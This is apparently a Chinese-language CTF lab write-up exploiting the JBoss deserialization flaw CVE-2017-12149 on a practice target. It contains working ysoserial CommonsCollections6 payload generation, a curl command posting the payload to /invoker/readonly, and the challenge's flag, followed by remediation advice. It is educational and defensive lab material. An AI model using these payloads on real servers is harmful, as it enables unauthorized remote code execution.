玄机网络安全靶场:JBoss 5.x_6.x 反序列化漏洞(CVE-2017-12149)

解题报告:JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

平台: 玄机 (xj.edisec.net)
题目 ID: 425
难度: 简单
类型: 渗透

Flag: flag{817557d3-ff3a-4afc-a433-5d094a3f0381}


一、漏洞背景

CVE-2017-12149 是 JBoss Application Server 5.x 和 6.x 版本中存在的一个高危 Java 反序列化漏洞。该漏洞位于 HTTP Invoker 组件的 ReadOnlyAccessFilter 过滤器中,攻击者可以在无需任何身份认证的情况下,向 /invoker/readonly 端点发送精心构造的序列化 Java 对象,触发服务端反序列化,从而实现远程代码执行(RCE)。

属性 详情
CVE 编号 CVE-2017-12149
影响版本 JBoss AS 5.x / 6.x
漏洞类型 Java 反序列化 → 远程代码执行(RCE)
漏洞端点 POST /invoker/readonly
CVSS 评分 9.8(严重)
认证要求 无需认证

二、靶机信息

项目 值
靶机公网 IP 43.192.167.144
靶机内网 IP 10.0.10.4
服务端口 8081(非默认 8080)
JBoss 版本 JBoss Web/3.0.0-CR2(JBoss AS 6.x)
目标文件 /flag

三、漏洞分析

3.1 漏洞成因

JBoss AS 5.x/6.x 的 HTTP Invoker 组件提供了一个 /invoker/readonly 端点,用于处理远程方法调用(RMI over HTTP)。该端点的 ReadOnlyAccessFilter.doFilter() 方法会直接对 HTTP 请求体中的数据进行 Java 原生反序列化(ObjectInputStream.readObject()),且在反序列化之前没有任何签名验证或类型白名单检查。

复制代码
ReadOnlyAccessFilter.doFilter()
  └─ ObjectInputStream.readObject()   ← 直接反序列化,无过滤
       └─ 触发 CommonsCollections 利用链
            └─ Runtime.exec() → 任意命令执行

3.2 利用链选择

本题靶机运行 JBoss AS 6.x,ClassPath 中包含 Apache Commons Collections 库,可使用 ysoserial 工具生成利用链 Payload:

  • CommonsCollections6(CC6):适用于 JDK 任意版本,不依赖 JDK 版本限制,是本题的有效利用链。
  • CommonsCollections1(CC1):仅适用于 JDK 7u21 以下,本题不适用。

四、漏洞利用过程

4.1 端口探测

首先通过 HTTP 请求确认 JBoss 服务实际运行在 8081 端口(而非默认的 8080):

bash 复制代码
curl -s http://43.192.167.144:8081/
# 返回 JBoss AS 欢迎页面,确认服务存在

4.2 确认漏洞端点

向 /invoker/readonly 发送 POST 请求,确认端点存在并响应:

bash 复制代码
curl -s -X POST http://43.192.167.144:8081/invoker/readonly
# 返回 HTTP 500,错误信息包含 ReadOnlyAccessFilter.doFilter
# 说明反序列化过滤器正在处理请求

4.3 生成反序列化 Payload

使用 ysoserial 工具,选用 CommonsCollections6 链,构造执行命令的序列化 Payload:

bash 复制代码
# 示例:将 /flag 内容写入 web 目录
java -jar ysoserial.jar CommonsCollections6 \
  'bash -c {cat,/flag}>/opt/jboss/server/default/deploy/ROOT.war/flag.txt' \
  > payload.bin

4.4 发送 Payload 触发 RCE

bash 复制代码
curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin \
  http://43.192.167.144:8081/invoker/readonly

服务端返回 HTTP 500,错误信息为:

复制代码
java.lang.ClassCastException: java.util.HashSet cannot be cast to 
org.jboss.invocation.MarshalledInvocation
    at org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(...)

注意: 此 ClassCastException 是在反序列化完成、命令执行之后才抛出的。CC6 链在 readObject() 阶段即触发命令执行,异常不影响 RCE 的成功。

4.5 读取 Flag

通过 RCE 读取 /flag 文件内容,获得 Flag:

复制代码
flag{817557d3-ff3a-4afc-a433-5d094a3f0381}

五、关键技术要点

1. 端口识别 :CVE-2017-12149 的 JBoss 靶机在玄机平台上运行于 8081 端口,而非默认的 8080,需要先进行端口探测。

2. CC6 链的适用性:CommonsCollections6 链不依赖 JDK 版本,适用范围最广,是 JBoss 反序列化利用的首选链。

3. ClassCastException 不影响 RCE :JBoss 的 ReadOnlyAccessFilter 在反序列化完成后才进行类型转换,因此即使返回 500 错误,命令也已在服务端执行。

4. 靶机网络隔离:靶机无法访问外网,需使用"写文件到 web 目录后通过 HTTP 读取"的方式外带数据,而非直接反弹 Shell 或 DNS 外带。


六、修复建议

修复方向 具体措施
升级版本 升级至 JBoss EAP 6.4+ 或迁移至 WildFly
禁用端点 在 web.xml 中移除或禁用 /invoker/* 路径映射
反序列化过滤 部署 SerialKiller 或 JVM 全局反序列化白名单
网络隔离 限制 8080/8081 端口仅对可信 IP 开放
WAF 防护 检测 aced 0005 魔术字节开头的 POST 请求体

相关推荐
2301_780789664 小时前
跨平台适配!SDK 游戏盾兼容全终端游戏场景
java·网络·ddos
砚凝霜5 小时前
保姆级 | CTF 命令执行 system($_POST[‘a‘]):直接传系统命令拿 flag(对比 eval)
web安全·网络安全
Ruiery5 小时前
Linux 6.6内核内存管理深度解析(十八):KASLR 内核地址空间随机化
linux·运维·服务器·安全
星融元asterfusion6 小时前
工业网络升级实战:100G 双轨 Leaf-Spine 架构破解高并发出货网络瓶颈
网络·架构·spine
Da Da 泓6 小时前
五子棋 Web 端测试用例报告
前端·网络·websocket·网络协议·测试用例·项目
云和数据.ChenGuang7 小时前
光哥说Python RAG 系统需要哪些评估指标:从检索到生成的全链路评测指南
网络·人工智能·python·算法·langchain
一木 之林7 小时前
Dify学习笔记 03 · RAG检索增强生成:三代范式、评估与落地(第40-45、55-56集)
笔记·小程序·交互·dify
ESDWAN8 小时前
企业网络监控应该监测哪些目标?网关、网络节点还是业务系统?
服务器·网络·php
mennekes8 小时前
临时用电线路标识:插头颜色、钟面标识配套规范
运维·网络·科技·安全·制造
发光小北9 小时前
EtherNet/IP 转 ModbusTCP 网关现场应用中会遇到什么问题?
服务器·网络·tcp/ip